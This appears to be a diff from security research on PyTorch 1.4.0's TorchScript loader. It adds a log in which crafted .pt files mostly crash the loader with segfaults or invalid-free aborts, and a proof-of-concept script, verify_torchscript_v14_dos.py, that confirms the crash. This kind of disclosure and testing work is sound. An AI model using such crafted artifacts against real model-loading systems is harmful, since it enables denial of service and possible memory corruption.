+ File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
113
+ cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
114
+ IndexError: vector::_M_range_check: __n (which is 4294967295) >= this->size() (which is 0)
115
+
116
+ ## setitems_odd_item_count.pt
117
+ rc=1 elapsed=1.911s
118
+ [stdout]
119
+ python=3.8.20
120
+ torch=1.4.0
121
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/setitems_odd_item_count.pt
122
+ [stderr]
123
+ Traceback (most recent call last):
124
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 32, in <module>
125
+ main()
126
+ File "/workspace/torchscript_v1_4_agent_runtime/lab/load_once.py", line 24, in main
127
+ torch.jit.load(args.artifact, map_location="cpu")
128
+ File "/workspace/torchscript_v1_4_agent_runtime/.venv38/lib/python3.8/site-packages/torch/jit/__init__.py", line 235, in load
129
+ cpp_module = torch._C.import_ir_module(cu, f, map_location, _extra_files)
130
+ RuntimeError: Can't hash IValues with this tag
131
+
132
+ ## underflow_appends.pt
133
+ rc=-11 elapsed=1.938s
134
+ [stdout]
135
+ python=3.8.20
136
+ torch=1.4.0
137
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_appends.pt
138
+ [stderr]
139
+
140
+ ## underflow_binpersid.pt
141
+ rc=-11 elapsed=3.175s
142
+ [stdout]
143
+ python=3.8.20
144
+ torch=1.4.0
145
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_binpersid.pt
146
+ [stderr]
147
+
148
+ ## underflow_build_empty.pt
149
+ rc=-11 elapsed=2.687s
150
+ [stdout]
151
+ python=3.8.20
152
+ torch=1.4.0
153
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_build_empty.pt
154
+ [stderr]
155
+
156
+ ## underflow_build_one.pt
157
+ rc=-6 elapsed=6.526s
158
+ [stdout]
159
+ python=3.8.20
160
+ torch=1.4.0
161
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_build_one.pt
162
+ [stderr]
163
+ free(): invalid pointer
164
+
165
+ ## underflow_newobj.pt
166
+ rc=-11 elapsed=4.485s
167
+ [stdout]
168
+ python=3.8.20
169
+ torch=1.4.0
170
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_newobj.pt
171
+ [stderr]
172
+
173
+ ## underflow_reduce_empty.pt
174
+ rc=-11 elapsed=3.671s
175
+ [stdout]
176
+ python=3.8.20
177
+ torch=1.4.0
178
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_reduce_empty.pt
179
+ [stderr]
180
+
181
+ ## underflow_reduce_one.pt
182
+ rc=-6 elapsed=3.548s
183
+ [stdout]
184
+ python=3.8.20
185
+ torch=1.4.0
186
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_reduce_one.pt
187
+ [stderr]
188
+ free(): invalid pointer
189
+
190
+ ## underflow_setitems.pt
191
+ rc=-11 elapsed=3.405s
192
+ [stdout]
193
+ python=3.8.20
194
+ torch=1.4.0
195
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_setitems.pt
196
+ [stderr]
197
+
198
+ ## underflow_tuple.pt
199
+ rc=-11 elapsed=3.736s
200
+ [stdout]
201
+ python=3.8.20
202
+ torch=1.4.0
203
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple.pt
204
+ [stderr]
205
+
206
+ ## underflow_tuple1.pt
207
+ rc=-11 elapsed=3.667s
208
+ [stdout]
209
+ python=3.8.20
210
+ torch=1.4.0
211
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple1.pt
212
+ [stderr]
213
+
214
+ ## underflow_tuple2.pt
215
+ rc=-11 elapsed=3.836s
216
+ [stdout]
217
+ python=3.8.20
218
+ torch=1.4.0
219
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple2.pt
220
+ [stderr]
221
+
222
+ ## underflow_tuple3.pt
223
+ rc=-11 elapsed=3.588s
224
+ [stdout]
225
+ python=3.8.20
226
+ torch=1.4.0
227
+ artifact=/workspace/torchscript_v1_4_agent_runtime/lab/artifacts/underflow_tuple3.pt
228
+ [stderr]
229
+
verify_torchscript_v14_dos.py ADDED
@@ -0,0 +1,75 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from __future__ import annotations
2
+
3
+ import argparse
4
+ import hashlib
5
+ import json
6
+ import subprocess
7
+ import sys
8
+ from pathlib import Path
9
+
10
+
11
+ ROOT = Path(__file__).resolve().parent
12
+ ARTIFACT = ROOT / "artifacts" / "underflow_appends.pt"
13
+ EXPECTED_SHA256 = "bd34cabfd35feb96ced8a63489c5899aa9b17c000ce552406519998d5d3855f1"
14
+
15
+
16
+ LOAD_ONCE = r"""
17
+ import os
18
+ import sys
19
+ import torch
20
+
21
+ artifact = sys.argv[1]
22
+ print(f"python={sys.version.split()[0]}", flush=True)
23
+ print(f"torch={torch.__version__}", flush=True)
24
+ print(f"artifact={os.path.abspath(artifact)}", flush=True)
25
+ torch.jit.load(artifact, map_location="cpu")
26
+ print("loaded", flush=True)
27
+ """
28
+
29
+
30
+ def sha256(path: Path) -> str:
31
+ h = hashlib.sha256()
32
+ with path.open("rb") as handle:
33
+ for chunk in iter(lambda: handle.read(1024 * 1024), b""):
34
+ h.update(chunk)
35
+ return h.hexdigest()
36
+
37
+
38
+ def main() -> int:
39
+ parser = argparse.ArgumentParser()
40
+ parser.add_argument(
41
+ "--python",
42
+ default=sys.executable,
43
+ help="Python executable with torch==1.4.0 installed.",
44
+ )
45
+ args = parser.parse_args()
46
+
47
+ digest = sha256(ARTIFACT)
48
+ if digest != EXPECTED_SHA256:
49
+ raise SystemExit(f"unexpected artifact sha256: {digest}")
50
+
51
+ proc = subprocess.run(
52
+ [args.python, "-c", LOAD_ONCE, str(ARTIFACT)],
53
+ cwd=ROOT,
54
+ text=True,
55
+ capture_output=True,
56
+ timeout=20,
57
+ )
58
+ result = {
59
+ "artifact": str(ARTIFACT),
60
+ "artifact_sha256": digest,
61
+ "python": args.python,
62
+ "returncode": proc.returncode,
63
+ "stdout": proc.stdout,
64
+ "stderr": proc.stderr,
65
+ "native_crash": proc.returncode < 0 or proc.returncode in {134, 139},
66
+ }
67
+ print(json.dumps(result, indent=2))
68
+
69
+ if not result["native_crash"]:
70
+ return 1
71
+ return 0
72
+
73
+
74
+ if __name__ == "__main__":
75
+ raise SystemExit(main())